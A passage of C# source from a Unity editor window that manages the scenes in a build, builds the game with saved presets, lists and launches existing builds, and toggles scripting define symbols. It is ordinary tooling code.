if (_searchFilter != buildScenesSearchFilter)
{
buildScenesSearchFilter = _searchFilter;
FilterBuildScenes();
}
// Refresh button.
if (GUILayout.Button(refreshBuildScenesGUI, EditorStyles.toolbarButton, GUILayout.Width(RefreshButtonWidth)))
{
RefreshAllScenes();
}
}
private void DrawBuilderSection()
{
if (buildScenes.Length == 0)
return;
// Build scenes.
if (string.IsNullOrEmpty(buildScenesSearchFilter))
{
buildScenesList.DoLayoutList();
}
else
{
DrawScenes(buildScenes, DrawBuildScene);
}
}
private void DrawScenes(SceneWrapper[] _scenes, Action<Rect, int> _onDrawScene)
{
GUILayout.Space(3f);
int _index = 0;
for (int _i = 0; _i < _scenes.Length; _i++)
{
SceneWrapper _scene = _scenes[_i];
if (!_scene.IsVisible)
continue;
Rect _position = GetSectionElementPosition();
DrawSceneBackground(_position, _scene, _index);
_index++;
_onDrawScene(_position, _i);
}
}
private void DrawSceneBackground(Rect _position, SceneWrapper _scene, int _index)
{
EnhancedEditorGUI.BackgroundLine(_position, _scene.IsSelected, _index, selectedColor, peerColor);
}
private void DrawBuildScene(Rect _position, int _index)
{
SceneWrapper _scene = buildScenes[_index];
Rect _temp = new Rect(_position.x + 5f, _position.y, 20f, _position.height);
if (string.IsNullOrEmpty(buildScenesSearchFilter))
{
// Scene build index.
EditorGUI.LabelField(_temp, _index.ToString(), EditorStyles.boldLabel);
}
// Scene name.
_temp = new Rect(_position)
{
xMin = _position.x + 25f,
xMax = _position.xMax - 25f
};
EditorGUI.LabelField(_temp, _scene.Label);
// Enabled toggle.
_temp.xMin = _temp.xMax;
_temp.width = 25f;
bool _enabled = GUI.Toggle(_temp, _scene.IsEnabled, buildSceneEnabledGUI);
if (_enabled != _scene.IsEnabled)
{
_scene.IsEnabled = _enabled;
UpdateBuildScenes();
}
// Scroll focus.
if ((_index == lastSelectedBuildScene) && doFocusBuildScene && (Event.current.type == EventType.Repaint))
{
Vector2 _areaSize = new Vector2(0f, SectionHeight - 21f);
buildScenesScroll = EnhancedEditorGUIUtility.FocusScrollOnPosition(buildScenesScroll, _position, _areaSize);
doFocusBuildScene = false;
Repaint();
}
// Select scene on click.
EnhancedEditorGUIUtility.MultiSelectionClick(_position, buildScenes, _index, IsBuildSceneSelected, CanSelectBuildScene, SelectBuildScene);
}
private void BuilderSectionEvents(Rect _position)
{
// Unselect on empty space click.
if (EnhancedEditorGUIUtility.DeselectionClick(_position))
{
foreach (SceneWrapper _scene in buildScenes)
_scene.IsSelected = false;
lastSelectedBuildScene = -1;
}
// Multi-selection keys.
if (GUIUtility.keyboardControl == buildSceneControlID)
{
EnhancedEditorGUIUtility.VerticalMultiSelectionKeys(buildScenes, IsBuildSceneSelected, CanSelectBuildScene, SelectBuildScene, lastSelectedBuildScene);
}
// Context click menu.
if ((lastSelectedBuildScene > -1) && EnhancedEditorGUIUtility.ContextClick(_position))
{
GenericMenu _menu = new GenericMenu();
_menu.AddItem(enableScenesForBuildGUI, false, () =>
{
foreach (SceneWrapper _scene in buildScenes)
{
if (_scene.IsSelected && _scene.IsVisible)
_scene.IsEnabled = true;
}
});
_menu.AddItem(disableScenesForBuildGUI, false, () =>
{
foreach (SceneWrapper _scene in buildScenes)
{
if (_scene.IsSelected && _scene.IsVisible)
_scene.IsEnabled = false;
}
});
_menu.AddItem(removeScenesFromBuildGUI, false, RemoveScenesFromBuild);
_menu.ShowAsContext();
Repaint();
}
}
private void DrawBuilderRightSide()
{
using (var _scope = new EditorGUILayout.VerticalScope(GUILayout.Height(ProjectScenesSectionHeight)))
{
Rect _position = _scope.rect;
DrawSectionBackground(_position);
// Toolbar.
using (var _toolbarScope = new EditorGUILayout.HorizontalScope(EditorStyles.toolbar))
{
// Draw an empty button all over the toolbar to draw its bounds.
{
Rect _toolbarPosition = _toolbarScope.rect;
_toolbarPosition.xMin += 1f;
GUI.Label(_toolbarPosition, GUIContent.none, EditorStyles.toolbarButton);
}
// Search filter.
string _searchFilter = EnhancedEditorGUILayout.ToolbarSearchField(projectScenesSearchFilter, GUILayout.MinWidth(50f));
if (_searchFilter != projectScenesSearchFilter)
{
projectScenesSearchFilter = _searchFilter;
FilterProjectScenes();
}
// Refresh button.
if (GUILayout.Button(refreshProjectScenesGUI, EditorStyles.toolbarButton, GUILayout.Width(RefreshButtonWidth)))
{
RefreshProjectScenes();
}
}
// Project scenes.
using (var _scrollScope = new GUILayout.ScrollViewScope(projectScenesScroll))
{
projectScenesScroll = _scrollScope.scrollPosition;
DrawScenes(projectScenes, DrawProjectScene);
}
// Unselect on empty space click.
if (EnhancedEditorGUIUtility.DeselectionClick(_position))
{
foreach (SceneWrapper _scene in projectScenes)
_scene.IsSelected = false;
lastSelectedProjectScene = -1;
}
// Multi-selection keys.
if (GUIUtility.keyboardControl == projectSceneControlID)
{
EnhancedEditorGUIUtility.VerticalMultiSelectionKeys(projectScenes, IsProjectSceneSelected, CanSelectProjectScene, SelectProjectScene, lastSelectedProjectScene);
}
// Context click menu.
if ((lastSelectedProjectScene > -1) && EnhancedEditorGUIUtility.ContextClick(_position))
{
GenericMenu _menu = new GenericMenu();
_menu.AddItem(addScenesToBuildGUI, false, AddScenesToBuild);
_menu.ShowAsContext();
Repaint();
}
}
GUILayout.Space(5f);
using (var _scope = new GUILayout.HorizontalScope())
{
GUILayout.FlexibleSpace();
bool _enabled = lastSelectedProjectScene > -1;
using (EnhancedGUI.GUIEnabled.Scope(_enabled))
using (EnhancedGUI.GUIColor.Scope(validColor))
{
// Button to add selected scene(s) to build.
if (GUILayout.Button(addScenesToBuildGUI, GUILayout.Width(AddButtonWidth), GUILayout.Height(ButtonHeight)))
{
AddScenesToBuild();
}
}
}
// Build settings.
GUILayout.FlexibleSpace();
DrawBuildDirectory(builderDirectoryGUI);
using (var _scope = new GUILayout.HorizontalScope())
{
EditorGUILayout.LabelField(buildVersionGUI, GUILayout.Width(90f));
string _version = EditorGUILayout.TextField(buildVersion);
if (_version != buildVersion)
{
buildVersion = _version;
PlayerSettings.bundleVersion = buildVersion;
}
}
using (var _scope = new GUILayout.HorizontalScope())
{
EditorGUILayout.LabelField(buildIdentifierGUI, GUILayout.Width(90f));
buildIdentifier = EditorGUILayout.TextField(buildIdentifier);
}
}
private void DrawProjectScene(Rect _position, int _index)
{
SceneWrapper _scene = projectScenes[_index];
Rect _temp = new Rect(_position)
{
xMin = _position.x + 5f
};
// Scene label.
EditorGUI.LabelField(_temp, _scene.Label);
// Scroll focus.
if ((_index == lastSelectedProjectScene) && doFocusProjectScene && (Event.current.type == EventType.Repaint))
{
Vector2 _areaSize = new Vector2(0f, ProjectScenesSectionHeight - 21f);
projectScenesScroll = EnhancedEditorGUIUtility.FocusScrollOnPosition(projectScenesScroll, _position, _areaSize);
doFocusProjectScene = false;
Repaint();
}
// Select scene on click.
EnhancedEditorGUIUtility.MultiSelectionClick(_position, projectScenes, _index, IsProjectSceneSelected, CanSelectProjectScene, SelectProjectScene);
}
private void DrawBuilderBottom()
{
bool _enabled = lastSelectedBuildScene > -1;
using (EnhancedGUI.GUIEnabled.Scope(_enabled))
using (EnhancedGUI.GUIColor.Scope(warningColor))
{
// Button to remove selected scene(s) from build.
if (GUILayout.Button(removeScenesFromBuildGUI, GUILayout.Width(RemoveButtonWidth), GUILayout.Height(ButtonHeight)))
{
RemoveScenesFromBuild();
}
}
// Build button.
Rect _position = EditorGUILayout.GetControlRect(false, -EditorGUIUtility.standardVerticalSpacing);
_position.Set(_position.xMax - BuildButtonWidth,
_position.y - EditorGUIUtility.singleLineHeight - 5f,
BuildButtonWidth,
LargeButtonHeight);
using (var _scope = EnhancedGUI.GUIColor.Scope(validColor))
{
if (GUI.Button(_position, buildButtonGUI))
{
Build();
}
}
GUILayout.Space(5f);
// Separator.
EnhancedEditorGUILayout.HorizontalLine(separatorColor, GUILayout.Width(position.width * .5f), GUILayout.Height(2f));
GUILayout.Space(5f);
// Selected build preset.
EnhancedEditorGUILayout.UnderlinedLabel(buildPresetGUI, EditorStyles.boldLabel);
GUILayout.Space(5f);
DrawBuildPresets(false);
}
// -----------------------
private bool IsBuildSceneSelected(int _index)
{
SceneWrapper _scene = buildScenes[_index];
bool _isSelected = _scene.IsSelected && _scene.IsVisible;
return _isSelected;
}
private bool CanSelectBuildScene(int _index) {
SceneWrapper _scene = buildScenes[_index];
return _scene.IsVisible;
}
private void SelectBuildScene(int _index, bool _isSelected)
{
SceneWrapper _scene = buildScenes[_index];
_scene.IsSelected = _isSelected;
// Last selected index update.
if (_isSelected)
{
lastSelectedBuildScene = _index;
doFocusBuildScene = true;
GUIUtility.keyboardControl = buildSceneControlID;
}
else if (!Array.Exists(buildScenes, (s) => s.IsSelected))
{
lastSelectedBuildScene = -1;
}
}
private bool IsProjectSceneSelected(int _index)
{
SceneWrapper _scene = projectScenes[_index];
bool _isSelected = _scene.IsSelected && _scene.IsVisible;
return _isSelected;
}
private bool CanSelectProjectScene(int _index) {
SceneWrapper _scene = projectScenes[_index];
return _scene.IsVisible;
}
private void SelectProjectScene(int _index, bool _isSelected)
{
SceneWrapper _scene = projectScenes[_index];
if (_isSelected && !_scene.IsVisible)
return;
_scene.IsSelected = _isSelected;
// Last selected index update.
if (_isSelected)
{
lastSelectedProjectScene = _index;
doFocusProjectScene = true;
GUIUtility.keyboardControl = projectSceneControlID;
}
else if (!Array.Exists(projectScenes, (s) => s.IsSelected))
{
lastSelectedProjectScene = -1;
}
}
// -----------------------
private void InitializeBuilder()
{
// Configures the build scene reorderable list.
buildScenesList = new ReorderableList(buildScenes, typeof(SceneWrapper), true, false, false, false)
{
drawElementCallback = (Rect _position, int _index, bool _isFocused, bool _isSelected) => DrawBuildScene(_position, _index),
drawElementBackgroundCallback = (Rect _position, int _index, bool _isFocused, bool _isSelected) =>
{
_position.xMin += 1f;
_position.xMax -= 1f;
DrawSceneBackground(_position, buildScenes[_index], _index);
},
showDefaultBackground = false,
onReorderCallback = (r) =>
{
UpdateBuildScenes();
FilterBuildScenes();
},
headerHeight = 1f,
footerHeight = 0f,
elementHeight = EditorGUIUtility.singleLineHeight
};
buildVersion = Application.version;
// Refresh scenes.
RefreshAllScenes();
}
private void OnBuilderUndoRedo()
{
// In case of any changes made to build scenes, update them.
if (!UpdateBuildScenes())
{
buildScenesList.list = buildScenes;
}
// Update build version.
if (buildVersion != Application.version)
{
PlayerSettings.bundleVersion = buildVersion;
}
}
private bool UpdateBuildScenes()
{
bool _refresh = false;
isManualSceneUpdate = true;
// Remove all null scene entries.
int _length = buildScenes.Length;
ArrayUtility.Filter(ref buildScenes, (s) => s.Scene != null);
if (_length != buildScenes.Length)
{
RefreshBuildScenes();
_refresh = true;
}
EditorBuildSettings.scenes = Array.ConvertAll(buildScenes, (s) =>
{
return new EditorBuildSettingsScene(AssetDatabase.GetAssetPath(s.Scene), s.IsEnabled);
});
return _refresh;
}
private void RefreshAllScenes()
{
// Do not refresh scenes on manual updates.
if (isManualSceneUpdate)
{
isManualSceneUpdate = false;
return;
}
// Get all build scenes without null entries.
buildScenes = Array.ConvertAll(EditorBuildSettings.scenes, (s) =>
{
return new SceneWrapper(AssetDatabase.LoadAssetAtPath<UnityEditor.SceneAsset>(s.path), s.enabled);
});
ArrayUtility.Filter(ref buildScenes, (s) => s.Scene != null);
lastSelectedBuildScene = -1;
RefreshBuildScenes();
RefreshProjectScenes();
Repaint();
}
private void RefreshBuildScenes()
{
buildScenesList.list = buildScenes;
FilterBuildScenes();
}
private void RefreshProjectScenes()
{
UnityEditor.SceneAsset[] _projectScenes = EnhancedEditorUtility.LoadAssets<UnityEditor.SceneAsset>();
for (int _i = _projectScenes.Length; _i-- > 0;)
{
UnityEditor.SceneAsset _scene = _projectScenes[_i];
if (Array.Exists(buildScenes, (b) => b.Scene == _scene))
{
ArrayUtility.RemoveAt(ref _projectScenes, _i);
}
}
projectScenes = Array.ConvertAll(_projectScenes, (s) => new SceneWrapper(s, false));
lastSelectedProjectScene = -1;
Array.Sort(projectScenes, (a, b) =>
{
return a.Scene.name.CompareTo(b.Scene.name);
});
FilterProjectScenes();
}
private void FilterBuildScenes()
{
FilterScenes(buildScenes, buildScenesSearchFilter);
}
private void FilterProjectScenes()
{
FilterScenes(projectScenes, projectScenesSearchFilter);
}
private void FilterScenes(SceneWrapper[] _scenes, string _searchFilter)
{
_searchFilter = _searchFilter.ToLower();
foreach (SceneWrapper _scene in _scenes)
{
bool _isVisible = _scene.Scene.name.ToLower().Contains(_searchFilter);
_scene.IsVisible = _isVisible;
}
}
private void AddScenesToBuild()
{
MoveSelectedScenes(ref projectScenes, ref buildScenes);
lastSelectedProjectScene = -1;
}
private void RemoveScenesFromBuild()
{
MoveSelectedScenes(ref buildScenes, ref projectScenes);
lastSelectedBuildScene = -1;
}
private void MoveSelectedScenes(ref SceneWrapper[] _removeFrom, ref SceneWrapper[] _addTo)
{
for (int _i = _removeFrom.Length; _i-- > 0;)
{
SceneWrapper _scene = _removeFrom[_i];
if (_scene.IsSelected)
{
ArrayUtility.Add(ref _addTo, _scene);
ArrayUtility.RemoveAt(ref _removeFrom, _i);
_scene.IsSelected = false;
_scene.IsEnabled = true;
}
}
UpdateBuildScenes();
RefreshBuildScenes();
FilterProjectScenes();
}
private void Build()
{
BuildPreset _preset = buildPresets[selectedPreset];
Build(_preset);
}
/// <summary>
/// Builds the game with a specific preset.
/// </summary>
/// <param name="_preset">Preset to build with.</param>
/// <returns>True if the build succeeded, false otherwise.</returns>
public bool Build(BuildPreset _preset)
{
// Get application short name.
string _appName = string.Empty;
foreach (char _char in Application.productName)
{
string _string = _char.ToString();
if (!string.IsNullOrEmpty(_string) && (_string == _string.ToUpper()) && (_string != " "))
_appName += _string;
}
if (_appName.Length < 2)
_appName = Application.productName;
// Set build directory name.
string _buildName = string.IsNullOrEmpty(buildIdentifier)
? ($"{_appName}_v{Application.version}" +
$"_{_preset.name.Replace(PresetResources.Prefix, string.Empty)}_{_preset.buildCount:000}" +
$"_{_preset.BuildTarget}")
: $"{_appName}_v{Application.version}_{buildIdentifier}";
string _buildPath = Path.Combine(BuildDirectory, _buildName);
// Delete path before build to avoid conflicts or corrupted files.
if (Directory.Exists(_buildPath))
Directory.Delete(_buildPath, true);
Directory.CreateDirectory(_buildPath);
BuildPlayerOptions _options = new BuildPlayerOptions()
{
scenes = Array.ConvertAll(buildScenes, (s) => AssetDatabase.GetAssetPath(s.Scene)),
locationPathName = $"{Path.Combine(_buildPath, Application.productName)}.exe",
targetGroup = BuildPipeline.GetBuildTargetGroup(_preset.BuildTarget),
target = _preset.BuildTarget,
options = _preset.BuildOptions
};
string _symbols = PlayerSettings.GetScriptingDefineSymbolsForGroup(_options.targetGroup);
SetScriptingDefineSymbols(_options.targetGroup, _preset.ScriptingDefineSymbols);
bool _succeed = BuildPipeline.BuildPlayer(_options).summary.result == BuildResult.Succeeded;
if (_succeed)
{
_preset.buildCount++;
SaveBuildPreset(_preset);
string _presetMetaData = EditorJsonUtility.ToJson(_preset, true);
File.WriteAllText(Path.Combine(_buildPath, PresetMetaDataFile), _presetMetaData);
//Process.Start(_buildPath);
}
else
{
Directory.Delete(_buildPath, true);
}
SetScriptingDefineSymbols(_options.targetGroup, _symbols);
OnBuildResetLayout();
return _succeed;
}
#endregion
#region Launcher
private const float SortByButtonWidth = 135f;
private const float OpenBuildDirectoryButtonWidth = 100f;
private const float LaunchButtonWidth = 100f;
private const string SelectedBuildHelpBox = "Informations about the selected game build will be displayed here.";
private readonly GUIContent launcherHeaderGUI = new GUIContent("Builds:", "All game builds found in the build directory.");
private readonly GUIContent buildDirectoryGUI = new GUIContent("Build Directory:", "Directory where to look for builds.");
private readonly GUIContent buildInfoGUI = new GUIContent("Build Infos:", "Informations about the selected build.");
private readonly GUIContent selectedBuildPresetGUI = new GUIContent("Build Preset:", "Preset used in this build.");
private readonly GUIContent refreshBuildsGUI = new GUIContent("Refresh", "Refresh builds.");
private readonly GUIContent[] buildSortOptionsGUI = new GUIContent[]
{
new GUIContent("Sort by date", "Sort the builds by their creation date."),
new GUIContent("Sort by name", "Sort the builds by their name."),
new GUIContent("Sort by platform", "Sort the builds by their platform.")
};
private readonly GUIContent openBuildDirectoryGUI = new GUIContent("Open Directory", "Opens this build directory.");
private readonly GUIContent launchAmountGUI = new GUIContent("Launch Instance", "Amount of the selected build instance to launch.");
private readonly GUIContent launchBuildGUI = new GUIContent("LAUNCH", "Launch selected build.");
private readonly GUIContent launchBuildMenuGUI = new GUIContent("Launch", "Launch this build.");
private readonly GUIContent deleteBuildGUI = new GUIContent("Delete", "Delete this build.");
private readonly Color launcherColor = SuperColor.Cyan.Get();
[SerializeField] private int selectedBuild = -1;
[SerializeField] private int launchInstance = 1;
[SerializeField] private int selectedBuildSortOption = 0;
[SerializeField] private bool doSortBuildsAscending = true;
[SerializeField] private string buildsSearchFilter = string.Empty;
private int buildControlID = -1;
private BuildInfo[] builds = new BuildInfo[] { };
private static BuildPreset selectedBuildPreset = null;
private Vector2 buildsScroll = new Vector2();
private bool doFocusBuild = false;
// -----------------------
private void DrawLauncher()
{
// Get control ID to use for keyboard focus on build selection.
buildControlID = EnhancedEditorGUIUtility.GetControlID(827, FocusType.Keyboard);
DrawTab(DrawLauncherHeader,
DrawLauncherSectionToolbar,
DrawLauncherSection,
LauncherSectionEvents,
DrawLauncherRightSide,
DrawLauncherBottom,
ref buildsScroll);
}
private void DrawLauncherHeader()
{
EditorGUILayout.LabelField(launcherHeaderGUI, EditorStyles.boldLabel);
}
private void DrawLauncherSectionToolbar()
{
// Sort options.
using (var _scope = new EditorGUI.ChangeCheckScope())
{
EnhancedEditorGUILayout.ToolbarSortOptions(ref selectedBuildSortOption, ref doSortBuildsAscending, buildSortOptionsGUI, GUILayout.Width(SortByButtonWidth));
if (_scope.changed)
{
SortBuilds();
}
}
// Search filter.
string _searchFilter = EnhancedEditorGUILayout.ToolbarSearchField(buildsSearchFilter, GUILayout.MinWidth(50f));
if (_searchFilter != buildsSearchFilter)
{
buildsSearchFilter = _searchFilter;
FilterBuilds();
}
// Refresh button.
if (GUILayout.Button(refreshBuildsGUI, EditorStyles.toolbarButton, GUILayout.Width(RefreshButtonWidth)))
{
RefreshBuilds();
}
}
private void DrawLauncherSection()
{
// Filtered Builds.
GUILayout.Space(3f);
int _index = 0;
BuildInfo _selectedBuild = (selectedBuild != -1)
? builds[selectedBuild]
: null;
for (int _i = 0; _i < builds.Length; _i++)
{
BuildInfo _build = builds[_i];
if (!_build.IsVisible)
continue;
Rect _position = GetSectionElementPosition();
// Background color.
bool _isSelected = _build == _selectedBuild;
EnhancedEditorGUI.BackgroundLine(_position, _isSelected, _index, selectedColor, peerColor);
_index++;
// Scroll focus.
if (_isSelected && doFocusBuild && (Event.current.type == EventType.Repaint))
{
Vector2 _areaSize = new Vector2(0f, SectionHeight - 21f);
buildsScroll = EnhancedEditorGUIUtility.FocusScrollOnPosition(buildsScroll, _position, _areaSize);
doFocusBuild = false;
Repaint();
}
// Build selection.
if (EnhancedEditorGUIUtility.MouseDown(_position))
{
SetSelectedBuild(_i);
}
// Build infos.
_position.xMin += 5f;
EditorGUI.LabelField(_position, _build.Icon);
_position.xMin += 25f;
EditorGUI.LabelField(_position, _build.Name);
}
}
private void LauncherSectionEvents(Rect _position)
{
// Unselect on empty space click.
if (EnhancedEditorGUIUtility.DeselectionClick(_position))
{
SetSelectedBuild(-1);
}
// Selection keys.
if ((selectedBuild != -1) && (GUIUtility.keyboardControl == buildControlID))
{
int _switch = EnhancedEditorGUIUtility.VerticalKeys();
if (_switch != 0)
{
int _index = selectedBuild;
while (true)
{
_index += _switch;
if ((_index == -1) || (_index == builds.Length))
break;
if (builds[_index].IsVisible)
{
SetSelectedBuild(_index);
break;
}
}
}
}
// Context click menu.
if ((selectedBuild != -1) && EnhancedEditorGUIUtility.ContextClick(_position))
{
BuildInfo _build = builds[selectedBuild];
GenericMenu _menu = new GenericMenu();
_menu.AddItem(openBuildDirectoryGUI, false, OpenBuildDirectory);
_menu.AddItem(launchBuildMenuGUI, false, () => LaunchBuild(_build.Path, launchInstance));
_menu.AddItem(deleteBuildGUI, false, DeleteBuild);
_menu.ShowAsContext();
}
// ----- Local Method ----- \\
void DeleteBuild()
{
BuildInfo _build = builds[selectedBuild];
if (EditorUtility.DisplayDialog("Delete build", $"Are you sure you want to delete the build \"{_build.Name}\"?\n\n" +
"This action cannot be undone.", "Yes", "Cancel"))
{
Directory.Delete(Path.GetDirectoryName(_build.Path), true);
RefreshBuilds();
}
}
}
private void DrawLauncherRightSide()
{
EditorGUILayout.GetControlRect(false, -EditorGUIUtility.standardVerticalSpacing * 4f);
// Build directory.
DrawBuildDirectory(buildDirectoryGUI);
GUILayout.Space(10f);
// Build informations.
EnhancedEditorGUILayout.UnderlinedLabel(buildInfoGUI, EditorStyles.boldLabel);
GUILayout.Space(3f);
if (selectedBuild != -1)
{
BuildInfo _build = builds[selectedBuild];
GUIStyle _style = EnhancedEditorStyles.WordWrappedRichText;
EditorGUILayout.LabelField($"Name: <b><color=green>{_build.Name}</color></b>", _style);
EditorGUILayout.LabelField($"Platform: <b><color=teal>{_build.Platform}</color></b>", _style);
EditorGUILayout.LabelField($"Creation Date: <b><color=brown>{_build.CreationDate}</color></b>", _style);
GUILayout.Space(10f);
// Open build directory button.
using (var _scope = new GUILayout.HorizontalScope())
{
GUILayout.FlexibleSpace();
using (var _colorScope = EnhancedGUI.GUIColor.Scope(validColor))
{
if (GUILayout.Button(openBuildDirectoryGUI, GUILayout.Width(OpenBuildDirectoryButtonWidth), GUILayout.Height(LargeButtonHeight)))
{
OpenBuildDirectory();
}
}
}
}
else
{
EditorGUILayout.HelpBox(SelectedBuildHelpBox, UnityEditor.MessageType.Info);
}
}
private void DrawLauncherBottom()
{
using (var _scope = new GUILayout.HorizontalScope(GUILayout.Width(position.width * SectionWidthCoef)))
{
bool _canLaunch = selectedBuild != -1;
using (EnhancedGUI.GUIEnabled.Scope(_canLaunch))
using (EnhancedGUI.GUIColor.Scope(launcherColor))
{
// Launch button.
if (GUILayout.Button(launchBuildGUI, GUILayout.Width(LaunchButtonWidth), GUILayout.Height(LargeButtonHeight)))
{
string _path = builds[selectedBuild].Path;
LaunchBuild(_path, launchInstance);
}
}
GUILayout.FlexibleSpace();
using (new GUILayout.VerticalScope())
{
GUILayout.Space(5f);
using (new GUILayout.HorizontalScope())
{
// Launch instance amount.
EditorGUILayout.LabelField(launchAmountGUI, GUILayout.Width(100f));
int _launchAmount = EditorGUILayout.IntField(launchInstance, GUILayout.Width(50f));
if (_launchAmount != launchInstance)
{
launchInstance = Mathf.Clamp(_launchAmount, 1, 10);
}
}
}
}
// Draw associated build preset if one.
if (selectedBuildPreset != null)
{
GUILayout.Space(9f);
EnhancedEditorGUILayout.UnderlinedLabel(selectedBuildPresetGUI, EditorStyles.boldLabel);
GUILayout.Space(22f);
string _presetName = selectedBuildPreset.name.Replace(PresetResources.Prefix, string.Empty);
EditorGUILayout.LabelField(_presetName, EditorStyles.boldLabel);
DrawBuildPreset(selectedBuildPreset, true);
}
}
// -----------------------
private void InitializeLauncher()
{
RefreshBuilds();
}
private void OnLauncherUndoRedo()
{
// Refresh selected build.
if (selectedBuild >= builds.Length)
selectedBuild = -1;
SetSelectedBuild(selectedBuild);
}
private void RefreshBuilds()
{
string[] _builds = GetBuilds();
builds = Array.ConvertAll(_builds, (b) => new BuildInfo(b));
SetSelectedBuild(-1);
SortBuilds();
FilterBuilds();
}
private void FilterBuilds()
{
string _searchFilter = buildsSearchFilter.ToLower();
foreach (BuildInfo _build in builds)
{
bool _isVisible = _build.Name.ToLower().Contains(_searchFilter);
_build.IsVisible = _isVisible;
}
}
private void SortBuilds()
{
switch (selectedBuildSortOption)
{
// Creation date.
case 0:
Array.Sort(builds, (a, b) =>
{
return Directory.GetCreationTime(a.Path).CompareTo(Directory.GetCreationTime(b.Path));
});
break;
// Name.
case 1:
Array.Sort(builds, (a, b) =>
{
return a.Name.CompareTo(b.Name);
});
break;
// Platform.
case 2:
Array.Sort(builds, (a, b) =>
{
return (a.Platform != b.Platform)
? a.Platform.CompareTo(b.Platform)
: a.Name.CompareTo(b.Name);
});
break;
}
if (!doSortBuildsAscending)
Array.Reverse(builds);
}
private bool SetSelectedBuild(int _selectedBuild)
{
if (_selectedBuild == -1)
{
selectedBuild = _selectedBuild;
selectedBuildPreset = null;
return false;
}
BuildInfo _build = builds[_selectedBuild];
// Unvalid build: remove it.
if (!File.Exists(_build.Path))
{
ArrayUtility.RemoveAt(ref builds, _selectedBuild);
selectedBuild = -1;
selectedBuildPreset = null;
return false;
}
// Valid build: get associated preset.
selectedBuild = _selectedBuild;
LoadPresetFromBuild(_build);
doFocusBuild = true;
GUIUtility.keyboardControl = buildControlID;
return true;
}
private void OpenBuildDirectory()
{
string _path = builds[selectedBuild].Path;
Process.Start(Path.GetDirectoryName(_path));
}
private static bool LoadPresetFromBuild(BuildInfo _build)
{
string _presetPath = Path.Combine(Path.GetDirectoryName(_build.Path), PresetMetaDataFile);
if (File.Exists(_presetPath))
{
try
{
if (selectedBuildPreset == null)
{
selectedBuildPreset = CreateInstance<BuildPreset>();
}
EditorJsonUtility.FromJsonOverwrite(File.ReadAllText(_presetPath), selectedBuildPreset);
return true;
}
catch (ArgumentException) { }
}
selectedBuildPreset = null;
return false;
}
#endregion
#region Configuration
private const float ApplySymbolsButtonWidth = 65f;
private const float UseSelectedSymbolsOnPresetButtonWidth = 210f;
private const string NeedToApplySymbolsMessage = "You need to apply your changes in order to active newly selected symbols.";
private readonly GUIContent activeSymbolHeaderGUI = new GUIContent("Active Symbols:", "Scripting define symbols currently active in the project.");
private readonly GUIContent customSymbolHeaderGUI = new GUIContent("Scripting Define Symbols:", "All custom scripting define symbols in the project.");
private readonly GUIContent buildPresetsHeaderGUI = new GUIContent("Build Presets:", "All registered build presets.");
private readonly GUIContent applySymbolsGUI = new GUIContent("Apply", "Apply selected symbols on project.");
private readonly GUIContent refreshSymbolsGUI = new GUIContent("Refresh", "Refresh project custom scripting define symbols.");
private readonly GUIContent useSelectedSymbolsGUI = new GUIContent("Use Selected Symbol(s) on Preset", "Set the selected preset symbols as the ones currently selected.");
private readonly GUIContent enableSymbolsGUI = new GUIContent("Enable Symbol(s)", "Enable the selected symbol(s).");
private readonly GUIContent disableSymbolsGUI = new GUIContent("Disable Symbol(s)", "Disable the selected symbol(s).");
private readonly Color configurationColor = SuperColor.Lavender.Get();
[SerializeField] private string[] activeSymbols = new string[] { };
[SerializeField] private string customSymbolsSearchFilter = string.Empty;
[SerializeField] private int lastSelectedSymbol = -1;
private int customSymbolControlID = -1;
private ScriptingDefineSymbolInfo[] customSymbols = new ScriptingDefineSymbolInfo[] { };
private string[] otherSymbols = new string[] { };
private bool doNeedToApplySymbols = false;
private Vector2 customSymbolsScroll = new Vector2();
private Vector2 activeSymbolsScroll = new Vector2();
private bool doFocusSymbol = false;
// -----------------------
private void DrawConfiguration()
{
// Get control ID to use for keyboard focus on symbol selection.
customSymbolControlID = EnhancedEditorGUIUtility.GetControlID(826, FocusType.Keyboard);
DrawTab(DrawConfigurationHeader,
DrawConfigurationSectionToolbar,
DrawConfigurationSection,
ConfigurationSectionEvents,
DrawConfigurationRightSide,
DrawConfigurationBottom,
ref customSymbolsScroll);
}
private void DrawConfigurationHeader()
{
EditorGUILayout.LabelField(customSymbolHeaderGUI, EditorStyles.boldLabel);
}
private void DrawConfigurationSectionToolbar()
{
// Search filter.
string _searchFilter = EnhancedEditorGUILayout.ToolbarSearchField(customSymbolsSearchFilter, GUILayout.MinWidth(50f));
if (_searchFilter != customSymbolsSearchFilter)
{
customSymbolsSearchFilter = _searchFilter;
FilterCustomSymbols();
}
// Refresh button.
if (GUILayout.Button(refreshSymbolsGUI, EditorStyles.toolbarButton, GUILayout.Width(RefreshButtonWidth)))
{
RefreshSymbols();
}
}
private void DrawConfigurationSection()
{
GUILayout.Space(3f);
int _index = 0;
// Custom symbols.
for (int _i = 0; _i < customSymbols.Length; _i++)
{
ScriptingDefineSymbolInfo _symbol = customSymbols[_i];
if (!_symbol.IsVisible)
continue;
Rect _position = GetSectionElementPosition();
// Background color.
EnhancedEditorGUI.BackgroundLine(_position, _symbol.IsSelected, _index, selectedColor, peerColor);
_index++;
// Symbol activation.
Rect _temp = new Rect(_position)
{
x = _position.x + 5f,
width = 20f
};
bool _isEnabled = EditorGUI.ToggleLeft(_temp, GUIContent.none, _symbol.IsEnabled);
EnableSymbol(_symbol, _isEnabled);
// Symbol description.
_temp.xMin += _temp.width;
_temp.xMax = _position.xMax;
EditorGUI.LabelField(_temp, _symbol.Label);
// Scroll focus.
if ((_i == lastSelectedSymbol) && doFocusSymbol && (Event.current.type == EventType.Repaint))
{
Vector2 _areaSize = new Vector2(0f, SectionHeight - 21f);
customSymbolsScroll = EnhancedEditorGUIUtility.FocusScrollOnPosition(customSymbolsScroll, _position, _areaSize);
doFocusSymbol = false;
Repaint();
}
// Select on click.
EnhancedEditorGUIUtility.MultiSelectionClick(_position, customSymbols, _i, IsSymbolSelected, CanSelectSymbol, SelectSymbol);
}
}
private void ConfigurationSectionEvents(Rect _position)
{
// Unselect on empty space click.
if (EnhancedEditorGUIUtility.DeselectionClick(_position))
{
foreach (var _customSymbol in customSymbols)
_customSymbol.IsSelected = false;
lastSelectedSymbol = -1;
}
// Multi-selection keys.
if (GUIUtility.keyboardControl == customSymbolControlID)
{
EnhancedEditorGUIUtility.VerticalMultiSelectionKeys(customSymbols, IsSymbolSelected, CanSelectSymbol, SelectSymbol, lastSelectedSymbol);
}
// Context click menu.
if ((lastSelectedSymbol != -1) && EnhancedEditorGUIUtility.ContextClick(_position))
{
GenericMenu _menu = new GenericMenu();
